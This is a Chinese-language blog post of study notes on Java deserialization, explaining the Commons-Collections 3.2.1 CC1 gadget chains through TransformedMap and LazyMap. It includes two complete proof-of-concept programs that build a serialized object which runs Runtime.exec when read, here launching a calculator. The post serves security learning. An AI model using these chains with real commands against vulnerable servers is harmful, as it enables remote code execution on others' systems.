JAVA安全-07反序列化篇(3)-CC1

上篇文章学习了URLDNS这条链,主要是HashMap和URL这两个类,接下来学习Common-Collections利⽤链,此篇文章记录学习CC1的学习过程。

简介

commons-collections是Apache软件基金会的项目,对Java标准的Collections API提供了很好的补充,在其基础上对常用的数据结构进行了封装、抽象和补充,目的在于提供可重用的、用来解决常见需求的代码及数据结构。

CC1两条利用链:

  • AnnotationInvocationHandler.readObject->TransformedMap.checkSetValue->ChainedTransformer->InvokerTransformer.transform->Runtime.exec
  • AnnotationInvocationHandler.readObject->LazyMap.get->TransformedMap.checkSetValue->InvokerTransformer.transform->Runtime.exec

CC1的测试环境需要在Java 8u71以前。在此改动后,AnnotationInvocationHandler的readObject不再直接使⽤反序列化得到的Map对象,⽽是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作。

调试环境

JDK8u65:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html (8u71以下)

下载sun的源码:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/41ab7149fea2

解压JDK 目录下的SRC文件,把下载的sun文件(/src/share/classes/sun)解压放到SRC文件下

配置IDEA File->Project Structure->SDKs->Sourcepath 加入src文件夹

pom文件加入commons-collections依赖 版本3.2.1

    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
    </dependency>

maven加载的文件,直接download就可以看到.java源文件。

相关接口和类

Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法transform(Object input)

public interface Transformer {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    public Object transform(Object input);

}

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝和Serializable接口的⼀个类,这个类可以⽤来执⾏任意⽅法,InvokerTransformer.transform()是CC1的关键点。

实例化这个InvokerTransformer,需要传⼊三个参数,第⼀个参数是⽅法名,第⼆个参数是参数类型,第三个参数是传给这个函数的参数列表:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

InvokerTransformer实现Transformer接口的 transform(Object input)方法。反射来调用传进来的对象中的方法。而方法名、参数类型和参数列表都是可以在构造函数初始化时传进来的,因此都是可控的。

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();//获取类
            Method method = cls.getMethod(iMethodName, iParamTypes);//反射获取方法
            return method.invoke(input, iArgs);//调用方法
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

到这获取exec方法,执行命令都是没有问题的。

    //获取Runtime.class,获取exec方法,执行命令。
		Runtime r = Runtime.getRuntime();
    Class c = Runtime.class;
    Method execMethod = c.getMethod("exec", String.class);
    execMethod.invoke(r,"open -a Calculator");

		//利用InvokerTransformer.transform执行命令。
		Runtime r = Runtime.getRuntime();
		new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}).transform(r);


直接弹出计算器。只是这个只能在本地执行。要想远程调用的话,就得使构造函数中的几个参数和transform中的参数都是用户可控的才行。

ConstantTransformer

ConstantTransformer是实现了Transformer和Serializable接口的⼀个类。

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }

构造函数是传一个对象进去,初始化iConstant,而transform则将这个iConstant对象返回。因此可将Runtime传进去,当调用transform时返回一个Runtime对象回来,要是能将它与InvokerTransformer组合起来或许就能有意想不到的效果。而ChainedTransformer刚好有这种功能。

ChainedTransformer

ChainedTransformer也是实现了Transformer和Serializable接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

构造函数这里传的是一个Transformer数组,而transform方法则是遍历这个数组,取出数组里的Transformer对象并调用其transform方法,返回的对象又作为下一个Transformer的transform方法中的参数被调用。

第一条链

寻找链的思路:InvokerTransformer.transform是执行命令的关键,找的思路就是找哪里调用了transform,对应的方法又在哪被调用,最后直至找到readObject里调用的方法。

AnnotationInvocationHandler.readObject()->TransformedMap.checkSetValue()->ChainedTransformer->InvokerTransformer->Runtime.exec

TransformedMap

TransformedMap是实现了Serializable的类,构造函数接收map,key,value。key,value都是Transformer。

		protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。通过下⾯这⾏代码对传入的map进⾏修饰,修饰后的Map:

//静态方法,直接可以调用。    
		public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

checkSetValued调用了transform,valueTransformer是我们传入的Transformer。

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

继续找调用了checkSetValued的方法,把decorate修饰的TransformedMap对象传进去。找到了AbstractInputCheckedMapDecorator内部类MapEntry的setValue方法调用了checkSetValued。

static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

调用测试

        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});

        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
				//TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r); //调用setValue
        }
//弹计算器

继续在找调用setValue的地方。最好是readObject直接调用。AnnotationInvocationHandler的readObject刚好符合条件。

AnnotationInvocationHandler

这个类实现Serializable接口,不能直接调用这个类,需要通过反射的的方式加载。这个类的构造方法,接收type和Map

 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

readObject方法的关键是Map.Entry<String, Object> memberValue : memberValues.entrySet() 和 memberValue.setValue(...) 。memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。

 private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

以上就是第一条完整的链。

编写POC

首先明确要实现的目标是:

Runtime.getRuntime().exec("open -a Calculator");

因此首先要获得Runtime

Class c = Runtime.class;

ConstantTransformer可以传一个Runtime类进去,当被遍历时调用transform方法可以返回一个Runtime类,正好作为下一个Transformer的transform方法中的参数。因此Transformer数组第一个Transformer如下:

new Transformer[]{
  new ConstantTransformer(Runtime.class)
}

为什么不用 Runtime.getRuntime() 换成了 Runtime.class ?

前者是一个java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化。

下一步需要调用getRuntime,它是Runtime里面的方法,前面已经传了Runtime.class,要获取该方法显然只能通过反射,而InvokerTransformer中的transform方法刚好提供了这个功能。

正常反射使用方法

Method f = Runtime.class.getMethod("getRuntime"); 
Runtime r = (Runtime) f.invoke(null);  //获取runtime对象
r.exec("open -a Calculator"); //调用exec

现在已经有了Runtime类,那么考虑传一个getMethod进去,然后通过反射让Runtime类调用getMethod方法,参数即为getRuntime,因此第二个Transformer如下:

new Transformer[]{
  new ConstantTransformer(Runtime.class), //返回Runtime类 
  
  new InvokerTransformer("getMethod",			//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
    new Class[]{String.class, class[].class},
    new Object[]{"getRuntime", new Class[0]})
}

然后需要调用invoke方法,因此传invoke进去,第三个Transformer如下:

new Transformer[]{
  new ConstantTransformer(Runtime.class), 
  
  new InvokerTransformer("getMethod",
    new Class[]{String.class, class[].class},
    new Object[]{"getRuntime", new Class[0]}),
  
  new InvokerTransformer("invoke", //调用invoke方法
    new Class[]{Object.class, Object[].class},
    new Object[]{null, new Object[0]})
}

最后调用exec方法,因此传exec进去,参数是命令,第四个Transformer如下:

new Transformer[]{
  new ConstantTransformer(Runtime.class), 
  
  new InvokerTransformer("getMethod",
    new Class[]{String.class, class[].class},
    new Object[]{"getRuntime", new Class[0]}),
  
  new InvokerTransformer("invoke",
    new Class[]{Object.class, Object[].class},
    new Object[]{null, new Object[0]}),
  
  new InvokerTransformer("exec", //调用exec方法
    new Class[]{String.class},
    new Object[]{"calc"})
};

把Transformer[]传给ChainedTransformer

Transformer transformerChain = new ChainedTransformer(transformers);

然后把transformerChain传给TransformedMap.decorate,造出一个TransformedMap对象存在tmap中

Map map = new HashMap();
map.put("value", "Roderick");
Map tmap = TransformedMap.decorate(map, null, transformerChain);

反射获取AnnotationInvocationHandler,获取实例传入tamp,反序列化的过程就会调用tamp.setValue

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, tmap);

综上,组合起来完整的poc

public class CC1 {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[] {
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"open -a Calculator"})
        };
        //把transformers的4个Transformer执行
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "Roderick");
        Map tmap = TransformedMap.decorate(map, null, transformerChain);
				//反射获取AnnotationInvocationHandler的对象传入tmap
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Retention.class, tmap);


        //序列化写文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("outCC1.bin"));
        oos.writeObject(o);
/*
        //反序列化触发payload
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("outCC1.bin"));
        ois.readObject();
*/

第二条链

AnnotationInvocationHandler.readObject()->LazyMap.get()->ChainedTransformer->InvokerTransformer.transform->Runtime.exec

这条链就是ysoserial里的链,和上一条的差别不大,上条用了TransformedMap,这一条用LazyMap

LazyMap

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。

	  //获取 LazyMap 对象
		public static Map decorate(Map map, Factory factory) {
        return new LazyMap(map, factory);
    }

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform。

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

在get找不到值的时候,它会调用 factory.transform 方法去获取一个值,AnnotationInvocationHandler 的readObject方法中并没有直接调用到Map的get方法。在ysoserial中,AnnotationInvocationHandler类的invoke方法有调用到get方法

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }
				//get方法
        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

调用 AnnotationInvocationHandler.invoke,ysoserial的作者想到的是使用Java动态代理 java.reflect.Proxy,第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体执行逻辑。具体可以学习一下动态代理。

    public static Object newProxyInstance(ClassLoader loader,
                                          Class<?>[] interfaces,
                                          InvocationHandler h)
        throws IllegalArgumentException
    {
        Objects.requireNonNull(h);

        final Class<?>[] intfs = interfaces.clone();
        final SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
            checkProxyAccess(Reflection.getCallerClass(), loader, intfs);
        }

编写POC

在TransformedMap POC的基础上进行修改,首先使用LazyMap替换TransformedMap

Map tmap = LazyMap.decorate(map, transformerChain);

然后,对 AnnotationInvocationHandler 对象进行代理

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, tmap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是AnnotationInvocationHandler的readObject ,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹。

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

完整的poc如下

public class CC1_2 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open -a Calculator"})
        };
        //把transformers的4个Transformer执行
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "Roderick");
        Map tmap = LazyMap.decorate(map, transformerChain);


        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
      
        InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, tmap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);



/*        //序列化写文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("outCC1.bin"));
        oos.writeObject(handler);*/
        //反序列化触发payload
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("outCC1.bin"));
        ois.readObject();
    }
}

posted @ 2022-06-03 15:12  九天揽月丶  阅读(460)  评论(0编辑  收藏  举报